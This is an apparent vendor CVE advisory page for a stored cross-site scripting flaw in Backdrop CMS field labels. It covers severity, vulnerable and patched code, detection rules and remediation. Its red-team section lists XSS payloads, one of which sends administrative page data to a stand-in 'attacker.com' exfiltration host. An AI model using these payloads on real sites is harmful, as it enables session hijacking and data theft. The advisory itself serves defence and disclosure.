☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-41709

CVE-2024-41709 Cross-Site Scripting in Backdrop
📅 PUBLISHED: 2024-07-22 00:00 UTC 🔄 UPDATED: 2026-09-23 20:38 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
7.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-41709 is a stored cross-site scripting (XSS) vulnerability in Backdrop CMS, a Drupal fork. The flaw resides in the insufficient sanitization of field labels before they are displayed in certain administrative interfaces. An attacker with the "administer fields" permission can inject arbitrary JavaScript or HTML into field labels, which will then execute in the browsers of other administrators viewing those fields. While the CVSS score is low due to the high privileges required, the impact is significant in multi-tenant or collaborative environments where field administration is delegated. The vulnerability affects all versions prior to 1.27.3 and 1.28.x prior to 1.28.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core CMS issue. Administrators should verify the integrity of their Backdrop installation by comparing file hashes against the official release.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 4.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires "administer fields" permission
  • User Interaction: Required (UI:R) – victim must view the malicious field
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) – potential to steal session cookies or CSRF tokens
  • Integrity Impact: Low (I:L) – can modify page content or perform actions on behalf of the victim
  • Availability Impact: None (A:N)

Threat Level: Medium. The high privilege requirement reduces the attack surface, but the impact on administrative integrity is significant.

Deep Dive & Mechanics

The vulnerability exists in the field label rendering process. Backdrop CMS uses a theme function to display field labels in administrative pages (e.g., content type management, field configuration). The check_plain() function is used for sanitization, but it is not applied consistently in all contexts. Specifically, when field labels are displayed in certain administrative tables or forms, the raw label value is output without proper HTML escaping.

An attacker with the "administer fields" permission can create or edit a field and set its label to a malicious payload, such as:

<script>alert(document.cookie)</script>

When another administrator visits a page that lists or configures fields, the payload executes in their browser. This can lead to session hijacking, privilege escalation, or defacement of the administrative interface.

The vulnerability is mitigated by the fact that the attacker must already have elevated privileges. However, in environments where field administration is delegated to non-trusted users (e.g., content editors with limited permissions), this becomes a serious risk.

Vulnerable vs. Patched Code

Vulnerable Code (Backdrop CMS < 1.27.3 / < 1.28.2): In core/modules/field/field.admin.inc, the field label is rendered without sanitization:

function theme_field_ui_field_table($variables) {
  // ...
  $rows[] = array(
    'data' => array(
      // Vulnerable: label is not sanitized
      $field['label'],
      // ...
    ),
  );
  // ...
}

Patched Code (Backdrop CMS 1.27.3 / 1.28.2): The patched version wraps the label output with check_plain():

function theme_field_ui_field_table($variables) {
  // ...
  $rows[] = array(
    'data' => array(
      // Patched: label is sanitized
      check_plain($field['label']),
      // ...
    ),
  );
  // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a Backdrop CMS instance with a user account that has the "administer fields" permission.
  • A victim administrator who will view the field list page.

Steps:

  1. Log in as the attacker with field administration privileges.
  2. Navigate to admin/structure/types/manage/[content-type]/fields.
  3. Click "Add field" or edit an existing field.
  4. In the "Label" field, enter the XSS payload:
    <img src=x onerror=alert(1)>
    
  5. Save the field.
  6. Wait for a victim administrator to visit admin/structure/types/manage/[content-type]/fields.
  7. The payload executes in the victim's browser.

Advanced Payload (Session Hijacking):

<script>
fetch('/admin/reports/status').then(r=>r.text()).then(t=>{
  fetch('https://attacker.com/exfil?data='+btoa(t));
});
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual field label content in the field_config database table.
  • Look for HTTP requests to admin/structure/types/manage/*/fields with POST data containing HTML tags in the label parameter.
  • Use WAF rules to block field labels containing <script>, <img onerror>, or other HTML event handlers.

Hardening:

  • Restrict the "administer fields" permission to only trusted users.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Regularly audit field labels for suspicious content.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP POST requests to /admin/structure/types/manage/*/fields with label parameter containing HTML tags.
    • Outbound HTTP requests to attacker-controlled domains from the CMS server.
  • Host:

    • Entries in the field_config database table with label column containing <script> or other HTML tags.
    • Modified files in core/modules/field/field.admin.inc (if attacker has file write access).
  • Logs:

    • Web server access logs showing requests to admin/structure/types/manage/*/fields from non-admin IPs.
    • PHP error logs showing unexpected HTML output in field-related pages.

Detection Engineering

YARA Rule

rule CVE_2024_41709_Backdrop_XSS {
    meta:
        description = "Detects malicious field labels in Backdrop CMS database dumps"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-41709"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
        $xss4 = /<[^>]+onclick\s*=[^>]*>/is
    condition:
        any of ($xss*) and #xss1 + #xss2 + #xss3 + #xss4 > 0
}

Sigma Rule

title: Backdrop CMS Field Label XSS Attempt
id: 8f4a2b1c-3d5e-4f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to inject XSS payloads into Backdrop CMS field labels
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|startswith: '/admin/structure/types/manage/'
        cs-uri-stem|endswith: '/fields'
        cs-uri-query|contains: 'label='
    condition: selection
falsepositives:
    - Legitimate field labels containing HTML (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41709 Backdrop CMS Field Label XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/structure/types/manage/";
    http_uri;
    content:"/fields";
    http_uri;
    pcre:"/label=[^&]*<[^>]*script[^>]*>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

  1. Upgrade to Backdrop CMS 1.27.3 or 1.28.2.
  2. If upgrade is not possible, restrict the "administer fields" permission to only super-administrators.
  3. Implement a WAF rule to block field labels containing HTML tags.

Long-term:

  1. Conduct a security audit of all custom modules and themes for similar XSS vulnerabilities.
  2. Implement Content Security Policy (CSP) headers with script-src 'self'.
  3. Enable automatic security updates for Backdrop CMS.
  4. Train administrators on the risks of delegating field administration.

Patch Details:

  • Upgrade to Backdrop CMS 1.27.3 or 1.28.2.
  • No official patch commit is available from OSV/GitHub; the fix is included in the release tarballs.

Valters IT
DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-41709/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.